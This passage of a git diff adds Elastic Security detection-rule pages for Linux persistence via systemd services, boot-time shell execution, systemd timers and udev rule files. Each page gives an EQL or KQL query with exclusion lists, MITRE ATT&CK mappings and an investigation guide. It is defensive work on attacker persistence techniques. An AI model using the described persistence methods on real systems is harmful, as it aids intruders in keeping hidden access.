https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:exec and +process.executable:/usr/bin/systemctl and process.args:(enable or reenable or start) and +process.entry_leader.entry_meta.type:* and +not ( + process.entry_leader.entry_meta.type:(container or init or unknown) or + process.parent.pid:1 or + process.parent.executable:( + /bin/adduser or /bin/dnf or /bin/dnf-automatic or /bin/dockerd or /bin/dpkg or /bin/microdnf or /bin/pacman or + /bin/podman or /bin/rpm or /bin/snapd or /bin/sudo or /bin/useradd or /bin/yum or /usr/bin/dnf or + /usr/bin/dnf-automatic or /usr/bin/dockerd or /usr/bin/dpkg or /usr/bin/microdnf or /usr/bin/pacman or + /usr/bin/podman or /usr/bin/rpm or /usr/bin/snapd or /usr/bin/sudo or /usr/bin/yum or /usr/sbin/adduser or + /usr/sbin/invoke-rc.d or /usr/sbin/useradd or /var/lib/dpkg/* or /opt/datadog-agent/embedded/bin/installer or + /opt/saltstack/salt/bin/python* or /opt/puppetlabs/puppet/bin/puppet or /opt/splunkforwarder/bin/splunk or + /opt/puppetlabs/puppet/bin/ruby or /opt/kaspersky/kesl/shared/kesl or /usr/local/bin/cloudflared or + /usr/bin/puppet or /opt/sentinelone/bin/sentinelctl + ) or + process.args_count >= 5 or + process.parent.command_line:*ansible* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-shell-execution-during-boot.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-shell-execution-during-boot.asciidoc new file mode 100644 index 0000000000..3a184c41b9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-shell-execution-during-boot.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-systemd-shell-execution-during-boot]] +=== Systemd Shell Execution During Boot + +This rule detects the execution of shell commands by systemd during the boot process on Linux systems. Systemd is a system and service manager for Linux operating systems. Attackers may execute shell commands during the boot process to maintain persistence on the system. This may be a sign of malicious systemd services, initramfs or GRUB bootloader manipulation, or other persistence mechanisms. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Systemd Shell Execution During Boot* + + +Systemd is a critical component in Linux, managing system and service initialization during boot. Adversaries may exploit systemd to execute shell commands at startup, ensuring persistence and potential privilege escalation. The detection rule identifies suspicious shell executions by monitoring processes initiated by systemd, focusing on those with specific characteristics indicative of unauthorized activity. + + +*Possible investigation steps* + + +- Review the process details to confirm the parent process is indeed systemd and the command line used is "/sbin/init" to ensure the alert is not a false positive. +- Examine the specific shell process name (e.g., bash, sh, etc.) and its arguments to identify any unusual or suspicious commands being executed. +- Investigate the history and configuration of the systemd service or unit file associated with the suspicious process to determine if it has been modified or created recently. +- Check for any recent changes or anomalies in the initramfs or GRUB bootloader configurations that could indicate tampering or unauthorized modifications. +- Correlate the alert with other security events or logs from the same host to identify any patterns or additional indicators of compromise that might suggest a broader attack or persistence mechanism. + + +*False positive analysis* + + +- Legitimate system maintenance scripts may trigger this rule if they are executed by systemd during boot. Users can create exceptions for known maintenance scripts by identifying their specific command lines and excluding them from the detection rule. +- Custom user scripts that are intentionally set to run at boot for automation purposes might be flagged. To handle this, users should document these scripts and adjust the rule to exclude their specific process names or command lines. +- Some Linux distributions may use shell scripts for legitimate boot-time operations. Users should verify the distribution's default boot scripts and exclude them if they are known to be safe and necessary for system operation. +- System updates or package installations that modify boot processes could cause false positives. Users should monitor for these events and temporarily adjust the rule to prevent unnecessary alerts during known update windows. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious shell processes identified as being executed by systemd during boot to halt potential malicious activity. +- Conduct a thorough review of systemd service files and configurations to identify and remove any unauthorized or malicious entries. +- Restore any modified system files or configurations from a known good backup to ensure system integrity. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar environments to detect any recurrence of the threat. +- Review and update access controls and permissions to limit the ability of unauthorized users to modify systemd configurations or execute shell commands during boot. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "info" and event.action == "already_running" and +process.parent.name == "systemd" and process.name in ("bash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +process.parent.command_line == "/sbin/init" and process.args_count >= 2 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-timer-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-timer-created.asciidoc new file mode 100644 index 0000000000..e1fc0ba332 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-timer-created.asciidoc @@ -0,0 +1,229 @@ +[[prebuilt-rule-8-19-34-systemd-timer-created]] +=== Systemd Timer Created + +Detects the creation of a systemd timer within any of the default systemd timer directories. Systemd timers can be used by an attacker to gain persistence, by scheduling the execution of a command or script. Similarly to cron/at, systemd timers can be set up to execute on boot time, or on a specific point in time, which allows attackers to regain access in case the connection to the infected asset was lost. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://opensource.com/article/20/7/systemd-timers +* https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 21 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Systemd Timer Created* + + +Systemd timers are used for scheduling and automating recurring tasks or services on Linux systems. + +Attackers can leverage systemd timers to run scripts, commands, or malicious software at system boot or on a set time interval by creating a systemd timer and a corresponding systemd service file. + +This rule monitors the creation of new systemd timer files, potentially indicating the creation of a persistence mechanism. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the timer file that was created or modified. + - !{osquery{"label":"Osquery - Retrieve File Information","query":"SELECT * FROM file WHERE path = {{file.path}}"}} +- Investigate the currently enabled systemd timers through the following command `sudo systemctl list-timers`. +- Search for the systemd service file named similarly to the timer that was created. +- Investigate whether any other files in any of the available systemd directories have been altered through OSQuery. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE (path LIKE '/etc/systemd/system/%' OR path LIKE '/usr/local/lib/systemd/system/%' OR path LIKE\n'/lib/systemd/system/%' OR path LIKE '/usr/lib/systemd/system/%' OR path LIKE\n'/home/{{user.name}}/.config/systemd/user/%' OR path LIKE '/home/{{user.name}}/.local/share/systemd/user/%' OR path LIKE\n'/root/.config/systemd/user/%' OR path LIKE '/root/.local/share/systemd/user/%' OR path LIKE '/etc/systemd/user/%' OR\npath LIKE '/usr/lib/systemd/user/%')\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE ( path LIKE '/etc/systemd/system/%' OR path LIKE\n'/usr/local/lib/systemd/system/%' OR path LIKE '/lib/systemd/system/%' OR path LIKE '/usr/lib/systemd/system/%' OR path\nLIKE '/home/{{user.name}}/.config/systemd/user/%' OR path LIKE '/home/{{user.name}}/.local/share/systemd/user/%' OR path\nLIKE '/root/.config/systemd/user/%' OR path LIKE '/root/.local/share/systemd/user/%' OR path LIKE '/etc/systemd/user/%'\nOR path LIKE '/usr/lib/systemd/user/%')\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses systemd timers for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service/timer or restore its original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and file.path : ( + "/etc/systemd/system/*", "/etc/systemd/user/*", "/usr/local/lib/systemd/system/*", + "/lib/systemd/system/*", "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*", + "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*", + "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*" +) and file.extension == "timer" and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", "./usr/bin/podman", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/bin/crio", "/usr/sbin/crond", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/kaniko/kaniko-executor", + "/usr/local/bin/dockerd", "/usr/bin/podman", "/bin/install", "/proc/self/exe", "/kaniko/executor", + "/etc/checkpoint/common/install.sh", "/usr/bin/dnf5", "/usr/libexec/packagekitd", "/usr/sbin/dnf", + "/opt/kaniko/executor", "/usr/bin/env", "/usr/local/bin/teleport-update", "/usr/bin/buildah", + "/usr/lib/systemd/systemd", "/usr/local/bin/defender" + ) or + process.name like ( + "python*", "crio", "apt-get", "install", "snapd", "cloudflared", "sshd", "convert-usrmerge", "docker-init", + "google_metadata_script_runner", "ssm-agent-worker", "pacman", "convert2rhel", "platform-python*" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", + "/var/lib/docker/overlay2/*/dockerd", "/home/*/bin/dockerd", "/var/lib/containers/storage/overlay/*/dockerd" + ) or + process.executable == null or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Systemd Timers +** ID: T1053.006 +** Reference URL: https://attack.mitre.org/techniques/T1053/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Systemd Timers +** ID: T1053.006 +** Reference URL: https://attack.mitre.org/techniques/T1053/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-udevd-rule-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-udevd-rule-file-creation.asciidoc new file mode 100644 index 0000000000..0a849e4350 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-udevd-rule-file-creation.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-34-systemd-udevd-rule-file-creation]] +=== Systemd-udevd Rule File Creation + +Monitors for the creation of rule files that are used by systemd-udevd to manage device nodes and handle kernel device events in the Linux operating system. Systemd-udevd can be exploited for persistence by adversaries by creating malicious udev rules that trigger on specific events, executing arbitrary commands or payloads whenever a certain device is plugged in or recognized by the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Systemd-udevd Rule File Creation* + + +Systemd-udevd manages device nodes and handles kernel device events in Linux, using rule files to automate responses to hardware changes. Adversaries can exploit this by creating malicious rules that execute commands when specific devices are connected. The detection rule monitors the creation of these rule files, excluding legitimate processes, to identify potential abuse and ensure system integrity. + + +*Possible investigation steps* + + +- Review the file path and name to determine if the rule file is located in a directory commonly used for udev rules, such as /etc/udev/rules.d/ or /lib/udev/. +- Examine the process executable that created or renamed the rule file to identify if it is a known legitimate process or an unexpected one, as specified in the query. +- Check the file extension and ensure it is .rules, confirming it is intended for udev rule configuration. +- Investigate the process name and path to determine if it matches any of the excluded legitimate processes or paths, which could indicate a false positive. +- Analyze the contents of the newly created or modified rule file to identify any suspicious or malicious commands that could be executed when a device is connected. +- Correlate the event with other system logs to identify any related activities or anomalies around the time of the rule file creation or modification. +- Assess the risk and impact of the rule file creation by considering the context of the system and any potential persistence mechanisms it might enable for an adversary. + + +*False positive analysis* + + +- System updates and package installations can trigger rule file creations. Exclude processes like dpkg, rpm, and yum by adding them to the exception list to prevent false positives during legitimate system maintenance. +- Container management tools such as Docker and Podman may create or modify udev rules. Exclude these processes to avoid alerts when containers are being managed. +- Automated system configuration tools like Puppet and Chef can modify udev rules as part of their operations. Add these tools to the exception list to reduce noise from routine configuration changes. +- Snap package installations and updates can lead to rule file changes. Exclude snapd and related processes to prevent false positives during snap operations. +- Netplan and systemd processes may generate or modify udev rules as part of network configuration or system initialization. Exclude these processes to avoid unnecessary alerts during legitimate system activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of malicious udev rules and potential lateral movement. +- Identify and review the newly created or modified udev rule files in the specified directories to determine if they contain malicious commands or payloads. +- Remove any unauthorized or malicious udev rule files to prevent them from executing on device connection events. +- Restore any affected system configurations or files from a known good backup to ensure system integrity. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection tools to identify and remove any additional malware or persistence mechanisms. +- Monitor the system for any further suspicious activity or attempts to recreate malicious udev rules, adjusting detection mechanisms as necessary. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected, ensuring comprehensive threat containment and remediation. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click Add integrations. +- In the query bar, search for Elastic Defend and select the integration to see more details about it. +- Click Add Elastic Defend. +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either Traditional Endpoints or Cloud Workloads. +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in New agent policy name. If other agent policies already exist, you can click the Existing hosts tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click Save and Continue. +- To complete the integration, select Add Elastic Agent to your hosts and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and +process.executable != null and file.extension == "rules" and +file.path like ( + "/lib/udev/*", "/etc/udev/rules.d/*", "/usr/lib/udev/rules.d/*", "/run/udev/rules.d/*", "/usr/local/lib/udev/rules.d/*" +) and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", "./usr/bin/podman", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/libexec/netplan/generate", + "/lib/systemd/system-generators/netplan", "/lib/systemd/systemd", "/usr/bin/containerd", "/usr/sbin/sshd", + "/kaniko/executor", "/usr/local/bin/defender", "/usr/bin/dnf5", "/opt/kaniko/executor", "/lib/netplan/generate" + ) or + file.Ext.original.extension == "dpkg-new" or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/snap/*", "/dev/fd/*", "/usr/lib/*", "/usr/libexec/*", + "/var/lib/docker/overlay2/*/dockerd", "/var/lib/containers/storage/overlay*/dockerd" + ) or + process.name in ( + "systemd", "netplan", "apt-get", "vmware-config-tools.pl", "systemd-hwdb", "ssm-agent-worker", "crio", "cloud-init", "convert2rhel" + ) or + process.name like ("python*", "perl*") or + (process.name == "sed" and file.name : "sed*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Udev Rules +** ID: T1546.017 +** Reference URL: https://attack.mitre.org/techniques/T1546/017/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Udev Rules +** ID: T1546.017 +** Reference URL: https://attack.mitre.org/techniques/T1546/017/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemkey-access-via-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemkey-access-via-command-line.asciidoc new file mode 100644 index 0000000000..b376af5d97 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemkey-access-via-command-line.asciidoc @@ -0,0 +1,165 @@ 